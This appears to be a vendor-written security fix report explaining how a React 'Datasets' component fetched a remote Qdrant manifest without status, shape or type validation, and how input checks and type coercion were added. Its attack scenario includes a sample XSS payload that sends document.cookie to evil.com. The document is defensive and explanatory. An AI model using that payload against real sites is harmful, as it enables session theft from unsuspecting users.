Summary
The Datasets component in src/pages/Datasets.jsx pulls a live manifest of Qdrant vector datasets from https://snapshots.qdrant.io/manifest-v1.16.0.json and renders the results in the UI. The problem: the code trusted that remote JSON blindly — no HTTP status check, no verification that the payload was even an array, and no type checking on individual fields like name, size, or description before they were stored in React state and rendered. A single flag from Orbis AppSec's multi-agent scanner (V-001) at line 29 triggered a fix that adds real validation at every step of the data pipeline.
Introduction
The src/pages/Datasets.jsx file handles fetching and displaying a catalog of downloadable vector datasets for the application's dataset browser, but a flaw in the useEffect fetch logic created a security risk: the component assumed the external manifest would always return a well-formed array of clean objects, and used the values as-is.
Here's the original fetch logic:
const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
const responseJson = await response.json();
const datasets = responseJson
.filter((dataset) => {
if (dataset.version === undefined) {
return true;
}
// ... version comparison logic
})
.map((dataset) => {
return {
name: dataset.name,
fileName: dataset.file_name,
size: dataset.size,
vectors: dataset.vectors,
vectorCount: dataset.vector_count,
description: dataset.description,
};
});
setDatasets(datasets);
Notice what's missing: there's no check that response.ok is true, no guarantee that responseJson is actually an array (calling .filter() on a non-array throws, or worse, silently misbehaves if it's array-like), and every field pulled off dataset — name, file_name, size, vector_count, description — is used verbatim, whatever type it happens to be. If the manifest server returns an object instead of an array, a string instead of a number, or an HTML/script payload instead of plain text, that data flows straight into setDatasets() and from there into the rendered UI.
The Vulnerability Explained
The core issue is that this component treats a third-party, network-fetched JSON file as if it were internally generated, trusted data. That's a dangerous assumption for several reasons specific to this code path:
-
No integrity or signature verification. The manifest is fetched from
snapshots.qdrant.iowith a plainfetch()call — no Subresource Integrity, no signature check, no pinned hash. If an attacker compromises that host, performs DNS spoofing, or executes a MITM attack on the connection, they control the exact JSON the app renders. -
No response status check. The original code called
response.json()immediately, even on a 404, 500, or redirect-to-error-page response. Parsing an unexpected error payload as if it were the dataset manifest could produce confusing or exploitable downstream behavior. -
No shape validation.
responseJson.filter(...)assumesresponseJsonis an array. A malicious or broken response returning{}ornullwould throw at runtime (denial of availability for this page) or, if it's an array-like object with unexpected getters, behave unpredictably. -
No field-level type enforcement. Fields like
dataset.name,dataset.description, anddataset.file_namewere passed straight into React state with whatever type the JSON contained — string, object, array, orundefined. If any of these values are later rendered without escaping (or interpolated into attributes, links, ordangerouslySetInnerHTMLelsewhere in the dataset UI), attacker-controlled strings in fields likedescriptionbecome a vector for cross-site scripting.
Attack Scenario
Imagine an attacker who can intercept traffic to snapshots.qdrant.io (compromised DNS, malicious Wi-Fi hotspot, or a supply-chain compromise of the CDN hosting the manifest). They serve a modified manifest-v1.16.0.json where one dataset entry looks like:
{
"name": "<img src=x onerror=fetch('https://evil.com/steal?c='+document.cookie)>",
"file_name": "legit.snapshot",
"size": "not-a-number",
"vector_count": { "malicious": "object" },
"description": "Free dataset!"
}
Before the fix, this object sails through .filter() (since dataset.version === undefined returns true) and .map() unmodified. dataset.name — an HTML string — ends up in datasets state exactly as-is. Depending on how the list is rendered downstream (e.g., without React's default escaping being bypassed via dangerouslySetInnerHTML, or via a library component that doesn't sanitize), this becomes a stored/reflected XSS vector triggered simply by visiting the Datasets page. Even without a downstream XSS sink, a non-string vector_count or size could break UI rendering logic that assumes numeric types, causing crashes or inconsistent display.
The Fix
The PR adds validation at every layer of the data pipeline in the fetch handler:
1. Validate the HTTP response before parsing:
const response = await fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json');
if (!response.ok) {
throw new Error(`Failed to fetch datasets manifest: ${response.status}`);
}
const responseJson = await response.json();
This ensures error pages, redirects, or unexpected status codes never get parsed as valid dataset data.
2. Validate the overall shape of the payload:
if (!Array.isArray(responseJson)) {
throw new Error('Datasets manifest has an unexpected format');
}
This guards against the manifest returning an object, null, or a scalar instead of the expected array, failing loudly instead of silently misbehaving.
3. Validate each item's shape inside the filter:
.filter((dataset) => {
if (typeof dataset !== 'object' || dataset === null || typeof dataset.name !== 'string') {
return false;
}
if (dataset.version === undefined) {
return true;
}
// ... version comparison logic
})
Any array entry that isn't a proper object, or whose name isn't a string, is dropped before it ever reaches the .map() step — closing off the injection vector at its earliest possible point.
4. Coerce every field to its expected type when mapping:
.map((dataset) => {
return {
name: String(dataset.name),
fileName: String(dataset.file_name ?? ''),
size: Number(dataset.size) || 0,
vectors: dataset.vectors,
vectorCount: Number(dataset.vector_count) || 0,
description: String(dataset.description ?? ''),
};
});
Instead of trusting dataset.file_name, dataset.size, dataset.vector_count, and dataset.description to already be the correct type, the fix explicitly coerces them with String() and Number(), with safe fallbacks (?? '', || 0) for missing or malformed values. This guarantees that whatever ends up in React state — and eventually the DOM — is a primitive of the expected type, not an arbitrary object or malformed value that could be exploited by a rendering component downstream.
Together, these four changes turn an implicit trust relationship with snapshots.qdrant.io into an explicit, defensive one: bad status codes are rejected, malformed payloads are rejected, malformed items are filtered out, and every remaining field is forced into a safe, predictable type before it touches application state.
Prevention & Best Practices
- Never trust remote JSON structurally. Even over HTTPS, validate that the response is the shape you expect (
Array.isArray, schema validation libraries likezodorio-ts) before using it. - Check
response.okon every fetch. Parsing error bodies as success payloads is a common source of subtle bugs and security issues. - Coerce and sanitize field types explicitly. Don't assume
dataset.sizeis a number just because the API contract says so — enforce it withNumber()/String()at the boundary where external data enters your app. - Consider integrity verification for critical external resources. Subresource Integrity (SRI), signed manifests, or pinned content hashes add a layer of defense if you can't fully trust the transport or origin server.
- Escape/sanitize before rendering. Even with type coercion, if any dataset field is later rendered as raw HTML, run it through a sanitizer (e.g., DOMPurify) rather than relying solely on upstream validation.
- Use static analysis to catch missing validation. Tools like Semgrep can flag
fetch()calls whose.json()result flows into state/render without an intermediate validation step.
This aligns with OWASP's guidance on input validation (OWASP Input Validation Cheat Sheet) — the same principles that apply to form input and query parameters apply equally to data fetched from "trusted" third-party APIs.
Key Takeaways
Datasets.jsxno longer assumes thesnapshots.qdrant.iomanifest is a well-formed array — it now validatesArray.isArray(responseJson)before processing.- Every dataset item must now have a string
nameto survive the.filter()step, closing off a path for non-object/malformed entries. dataset.size,dataset.vector_count,dataset.file_name, anddataset.descriptionare explicitly coerced withString()/Number()instead of trusted as-is, preventing type-confusion downstream.- Failed or non-
okHTTP responses now throw immediately instead of being parsed as valid manifest data. - Remote data sources — even ones you "trust" like a vendor's snapshot server — should be treated as untrusted input at the application boundary.
How Orbis AppSec Detected This
- Source: The remote JSON response from
fetch('https://snapshots.qdrant.io/manifest-v1.16.0.json')insrc/pages/Datasets.jsx:29. - Sink:
setDatasets(datasets), which feeds directly into the component's render output, and the.map()/.filter()chain that processed each dataset object's fields without type checks. - Missing control: No HTTP status validation, no array-shape validation, no per-field type checking or sanitization on data originating from an external, non-integrity-checked source.
- CWE: CWE-20 (Improper Input Validation), related to CWE-829 (Inclusion of Functionality from Untrusted Control Sphere).
- Fix: Added
response.okandArray.isArraychecks, per-item shape validation in.filter(), and explicitString()/Number()coercion in.map()before storing dataset fields in state.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This fix is a good reminder that "external API" doesn't mean "trusted input." The Datasets component treated a remote manifest fetched over the network as inherently safe, well-typed data — an assumption that breaks down the moment that endpoint is compromised, spoofed, or simply returns something unexpected. By adding response status checks, array-shape validation, per-item guards, and explicit type coercion, src/pages/Datasets.jsx now defends against malformed or malicious manifest data at every stage before it reaches application state and the rendered UI. The lesson generalizes well beyond this one component: any time your app consumes JSON from a third party, validate the shape and coerce the types before you use it — don't let a remote server dictate what types and structures flow into your React state.